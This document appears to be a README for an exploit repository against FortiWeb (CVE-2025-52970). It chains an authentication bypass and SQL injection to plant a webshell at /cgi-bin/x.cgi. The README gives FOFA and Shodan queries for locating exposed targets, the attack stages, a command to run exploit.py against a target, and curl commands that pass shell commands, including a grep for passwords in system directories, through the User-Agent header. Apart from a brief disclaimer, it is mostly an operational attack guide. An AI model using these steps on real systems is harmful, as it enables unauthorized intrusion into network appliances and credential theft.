hex00-0x4/fortiweb-cve-2025-52970-authentication-bypassDemonstrates an authentication bypass in FortiWeb (CVE-2025-52970) chained with SQL injection to upload a webshell and achieve remote code execution via HTTP headers.
This repository demonstrates an authentication bypass in FortiWeb that can be chained to achieve Remote Code Execution (RCE).
The exploit leverages a vulnerable endpoint to inject SQL payloads, upload a webshell, and execute commands through HTTP headers.
⚠️ Disclaimer:
This project is for educational and research purposes only.
Do NOT use against systems you don’t own or have explicit permission to test.
((FortiWeb)) AND port:("8443")
### FOFA
title="FortiWeb" && port="8443"
### Shodan
ssl:"FortiWeb" port:8443
http.title:"FortiWeb" port:8443
CVE: CVE-2025-52970
Component: FortiWeb Fabric API (/api/fabric/device/status)
Impact: Authentication Bypass → SQL Injection → Webshell Upload → RCE
Vector: Crafted Authorization header + SQL injection
Drop and create temporary SQL table.
Write webshell payload in chunks.
Export shell to /cgi-bin/x.cgi.
Upload helper Python script to trigger permissions.
Access webshell by sending commands via User-Agent header.
git clone https://github.com/your-username/Fortinet-AuthBypass-Exploit.git
cd Fortinet-AuthBypass-Exploit
python3 exploit.py -t https://TARGET:8443/
3️⃣ Interact with Webshell
curl -ks -H 'User-Agent: id' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: whoami' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: uname -a' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: grep -ril pass /etc /conf /data 2>/dev/null' https://TARGET:8443/cgi-bin/x.cgi
